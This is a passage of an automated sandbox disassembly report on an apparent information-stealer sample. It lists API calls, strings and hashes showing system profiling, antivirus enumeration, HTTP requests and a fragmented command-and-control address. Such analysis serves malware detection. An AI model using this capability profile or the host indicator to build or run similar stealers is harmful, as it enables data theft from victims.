Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC8A
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AD94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD9B
StrCmpCA.SHLWAPI(?,004373DC,00000000), ref: 0040AE4C
StrCmpCA.SHLWAPI(?,004373E0), ref: 0040AE74
lstrcatA.KERNEL32(00000000,?), ref: 0040AE98
lstrcatA.KERNEL32(00000000,004373E4), ref: 0040AEA4
lstrcatA.KERNEL32(00000000,?), ref: 0040AEAE
lstrcatA.KERNEL32(00000000,004373E8), ref: 0040AEBA
lstrcatA.KERNEL32(00000000,?), ref: 0040AEC4
lstrcatA.KERNEL32(00000000,004373EC), ref: 0040AED0
lstrcatA.KERNEL32(00000000,?), ref: 0040AEDA
lstrcatA.KERNEL32(00000000,004373F0), ref: 0040AEE6
lstrcatA.KERNEL32(00000000,?), ref: 0040AEF0
lstrcatA.KERNEL32(00000000,004373F4), ref: 0040AEFC
lstrcatA.KERNEL32(00000000,?), ref: 0040AF06
lstrcatA.KERNEL32(00000000,004373F8), ref: 0040AF12
lstrcatA.KERNEL32(00000000,?), ref: 0040AF1C
lstrcatA.KERNEL32(00000000,004373FC), ref: 0040AF28
lstrlenA.KERNEL32(00000000), ref: 0040AF7A
lstrlenA.KERNEL32(?), ref: 0040AF95
DeleteFileA.KERNEL32(?), ref: 0040AFD8

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 4621e81a25ec7d59100a49f80eb619f1591ab482fb232c2b5530b01b4120e834
Instruction ID: fa65740cd413e8b43b9f1f3498c9fbd0cc5fbb49866f189318ef85710a93ab9e
Opcode Fuzzy Hash: 4621e81a25ec7d59100a49f80eb619f1591ab482fb232c2b5530b01b4120e834
Instruction Fuzzy Hash: D4C15D32904208AFDF15EBA1ED4A9DD7B76EF04309F20102AF501B30A1DB7A6E959F95

Function 00417151 Relevance: 29.0, APIs: 8, Strings: 8, Instructions: 1029networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CloseHandle.KERNEL32(00000000,?,?,?,?,0041869F), ref: 004171ED
OpenEventA.KERNEL32(001F0003,00000000,?,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004171FC
CreateDirectoryA.KERNEL32(?,00000000,004366DA), ref: 0041771A
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004177DB
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004177F4

Part of subcall function 00404B2E: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
Part of subcall function 00404B2E: StrCmpCA.SHLWAPI(?), ref: 00404BEB

Part of subcall function 004139C2: StrCmpCA.SHLWAPI(?,block,?,?,00417854), ref: 004139D7
Part of subcall function 004139C2: ExitProcess.KERNEL32 ref: 004139E2

Part of subcall function 00405F39: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
Part of subcall function 00405F39: StrCmpCA.SHLWAPI(?), ref: 00405FF6

Part of subcall function 00413198: strtok_s.MSVCRT ref: 004131B7
Part of subcall function 00413198: strtok_s.MSVCRT ref: 0041323A

Sleep.KERNEL32(000003E8), ref: 00417BAA

Part of subcall function 00405F39: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
Part of subcall function 00405F39: HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
Part of subcall function 00405F39: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

CreateEventA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,0041869F), ref: 00417210

Part of subcall function 0041257F: __EH_prolog3_catch_GS.LIBCMT ref: 00412589
Part of subcall function 0041257F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F41,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Part of subcall function 0041257F: Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Part of subcall function 0041257F: Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
Part of subcall function 0041257F: StrCmpCA.SHLWAPI(?), ref: 004125DC
Part of subcall function 0041257F: CloseHandle.KERNEL32(00000000), ref: 004125F0

CloseHandle.KERNEL32(?), ref: 00418110

Strings

.exe, xrefs: 00417659
_DEBUG.zip, xrefs: 00418045
.exe, xrefs: 00417F14
af641acce3f8c85bf2490a9b3aa972c5, xrefs: 0041781C
http://, xrefs: 00417F67
org, xrefs: 00417FF7
cowod., xrefs: 00417F8B
hopto, xrefs: 00417FAF

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InternetOpen$CloseCreateHandlelstrcpy$EventHeapProcessProcess32strtok_s$AllocConnectDirectoryExitFirstH_prolog3_catch_HttpNameNextOptionRequestSleepSnapshotToolhelp32Userlstrcatlstrlen
String ID: .exe$.exe$_DEBUG.zip$af641acce3f8c85bf2490a9b3aa972c5$cowod.$hopto$http://$org
API String ID: 305159127-1915720452
Opcode ID: ba00fea598c8f9b7eb501b1df4ade5e40b70523d29f0704592d13bea502c8da9
Instruction ID: 4ceb97e4bc8bd76a369d1d2619bbd46815a38cac9c71142bc76181b4c2ec3f3b
Opcode Fuzzy Hash: ba00fea598c8f9b7eb501b1df4ade5e40b70523d29f0704592d13bea502c8da9
Instruction Fuzzy Hash: AC9244315483419FC620FF26D94268EB7E1FF84308F51482FF58463191DBB8AA8D8B9B

Function 004135A8 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 262stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004135EA
StrCmpCA.SHLWAPI(?,true), ref: 004136AC

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

lstrcpyA.KERNEL32(?,?), ref: 0041376E
lstrcpyA.KERNEL32(?,00000000), ref: 0041379F
lstrcpyA.KERNEL32(?,00000000), ref: 004137DB
lstrcpyA.KERNEL32(?,00000000), ref: 00413817
lstrcpyA.KERNEL32(?,00000000), ref: 00413853
lstrcpyA.KERNEL32(?,00000000), ref: 0041388F
lstrcpyA.KERNEL32(?,00000000), ref: 004138CB
strtok_s.MSVCRT ref: 0041398F

Strings

zA, xrefs: 004139B4
false, xrefs: 004136C5
true, xrefs: 004136A6

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: false$true$zA
API String ID: 2116072422-752889570
Opcode ID: 66d3b3fef956730522b2c25cb3aeaabc49fb5568f228d64d75f124df70e663f1
Instruction ID: f88d8e482521469d959c87b5d2553cfe3082ffd239838e960e1cb591ae3ba6ed
Opcode Fuzzy Hash: 66d3b3fef956730522b2c25cb3aeaabc49fb5568f228d64d75f124df70e663f1
Instruction Fuzzy Hash: 37B16DB5900218ABCF64EF55DC89ACA77B5BF18305F0001EAE549A7261EB75AFC4CF48

Function 00405237 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 161networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
RtlAllocateHeap.NTDLL(00000000), ref: 00405285
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
StrCmpCA.SHLWAPI(?), ref: 004052C1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405394
InternetReadFile.WININET(?,?,00000400,?), ref: 004053DA
InternetCloseHandle.WININET(?), ref: 00405439
InternetCloseHandle.WININET(?), ref: 00405445
InternetCloseHandle.WININET(?), ref: 00405451

Strings

lyA, xrefs: 00405250, 00405457, 0040539E
GET, xrefs: 00405325

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET$lyA
API String ID: 442264750-528342985
Opcode ID: 7ac1dafda3322327fbe222a865cadfb00515a89be2541157445461943e6eb178
Instruction ID: 7cffea58bcaab2b22dbdd47c1de4c71017d1c0f04b9407cf92f8036c36bebf65
Opcode Fuzzy Hash: 7ac1dafda3322327fbe222a865cadfb00515a89be2541157445461943e6eb178
Instruction Fuzzy Hash: 685119B1900A28AFDF21DF64DC84BEFBBB9EB08346F0050E6E509A2290D6755F858F54

Function 00411997 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114comCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041199E
CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00411D42: LocalAlloc.KERNEL32(00000040,00000005,?,?,00411A80,?), ref: 00411D4A
Part of subcall function 00411D42: CharToOemW.USER32(?,00000000), ref: 00411D56

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

VariantClear.OLEAUT32(?), ref: 00411A8B

Strings

Unknown, xrefs: 00411AA0
root\SecurityCenter2, xrefs: 004119F0
Unknown, xrefs: 00411A99
Select * From AntiVirusProduct, xrefs: 00411A23
displayName, xrefs: 00411A6F
Unknown, xrefs: 00411AB4
WQL, xrefs: 00411A28

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prolog3_catchInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 4288110179-315474579
Opcode ID: 4442dc1975a9fab6dcc5a7b23437fd681a9a23585e5f68a612e680f3410bdaea
Instruction ID: a052c58cf411f7e98e6331d271807bd97e667b65bf600afed1fc3e3d3cff73f9
Opcode Fuzzy Hash: 4442dc1975a9fab6dcc5a7b23437fd681a9a23585e5f68a612e680f3410bdaea
Instruction Fuzzy Hash: 90314F70A04245BBCB20DB91DC49EEFBF7CEFC9B10F20465AF611A61A0C6B85941CB68

Function 00401284 Relevance: 24.1, APIs: 16, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004012A7
_memset.LIBCMT ref: 004012B6
lstrcatA.KERNEL32(?,0043AAA4), ref: 004012D0
lstrcatA.KERNEL32(?,0043AAA8), ref: 004012DE
lstrcatA.KERNEL32(?,0043AAAC), ref: 004012EC
lstrcatA.KERNEL32(?,0043AAB0), ref: 004012FA
lstrcatA.KERNEL32(?,0043AAB4), ref: 00401308
lstrcatA.KERNEL32(?,0043AAB8), ref: 00401316
lstrcatA.KERNEL32(?,0043AABC), ref: 00401324
lstrcatA.KERNEL32(?,0043AAC0), ref: 00401332
lstrcatA.KERNEL32(?,0043AAC4), ref: 00401340
lstrcatA.KERNEL32(?,0043AAC8), ref: 0040134E
lstrcatA.KERNEL32(?,0043AACC), ref: 0040135C
lstrcatA.KERNEL32(?,0043AAD0), ref: 0040136A
lstrcatA.KERNEL32(?,0043AAD4), ref: 00401378

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

ExitProcess.KERNEL32 ref: 004013E3

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocateComputerExitName
String ID:
API String ID: 2891980384-0
Opcode ID: 2857db7161bcc320a30419e20b2b34e424e7c04c5a94567df98be0c40a6a9c3d
Instruction ID: 9778931569992fdfa2ae274a5f191432572d6dba79c88691fb85554d5ade8f97
Opcode Fuzzy Hash: 2857db7161bcc320a30419e20b2b34e424e7c04c5a94567df98be0c40a6a9c3d
Instruction Fuzzy Hash: 9A41A9B2D4422C57DB20EBB19C59FDB7BAC9F18310F5405A3E8D9E3181D67C9A84CB58

Function 00411203 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 155registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
wsprintfA.USER32 ref: 004112DD
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC
RegCloseKey.ADVAPI32(?), ref: 00411446
RegCloseKey.ADVAPI32(?), ref: 00411466
RegCloseKey.ADVAPI32(?), ref: 00411472

Strings

?, xrefs: 00411263
%s\%s, xrefs: 004112D7
- , xrefs: 004113E6

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Closelstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 2394436309-3278919252
Opcode ID: 3d69115a6f8724683417ca135766935035775c138346bf0c7f6cb84cd66cf9a6
Instruction ID: 4bdd8942e51cb3c4ef1bdab2b95b8e79246b76881c5f67d30fe8b157efa9521a
Opcode Fuzzy Hash: 3d69115a6f8724683417ca135766935035775c138346bf0c7f6cb84cd66cf9a6
Instruction Fuzzy Hash: 8A61F7B590022C9BEF21DB15DD84EDAB7B9AB44708F1042E6A608A2121DF35AFC9CF54

Function 004109A2 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71
wsprintfA.USER32 ref: 00410AA7
lstrcatA.KERNEL32(00000000,00436E3C), ref: 00410AB6

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

lstrlenA.KERNEL32(?), ref: 00410ACD

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(00000000,00000000), ref: 00410AF0

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

C, xrefs: 004109DF
0xA, xrefs: 00410B21
:\, xrefs: 00410A06
QuBi, xrefs: 00410A27

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocCurrentDirectoryInformationProcessProfileVolumeWindows_memsetlstrcpylstrlenmallocstrncpywsprintf
String ID: 0xA$:\$C$QuBi
API String ID: 1856320939-2474135401
Opcode ID: fe1506f50967b878d8a816889520671eb8f24b5d456e6e545ca51c3c9142c769
Instruction ID: a97db629e7901cba1803c5ad0a4512298f3feb58bff5cd952ebdd5184ea07982
Opcode Fuzzy Hash: fe1506f50967b878d8a816889520671eb8f24b5d456e6e545ca51c3c9142c769
Instruction Fuzzy Hash: A741AFB1A042289BCB249F749D85ADEBBB9EF19304F0000EAF109E3121E6758FD58F54

Function 004067ED Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
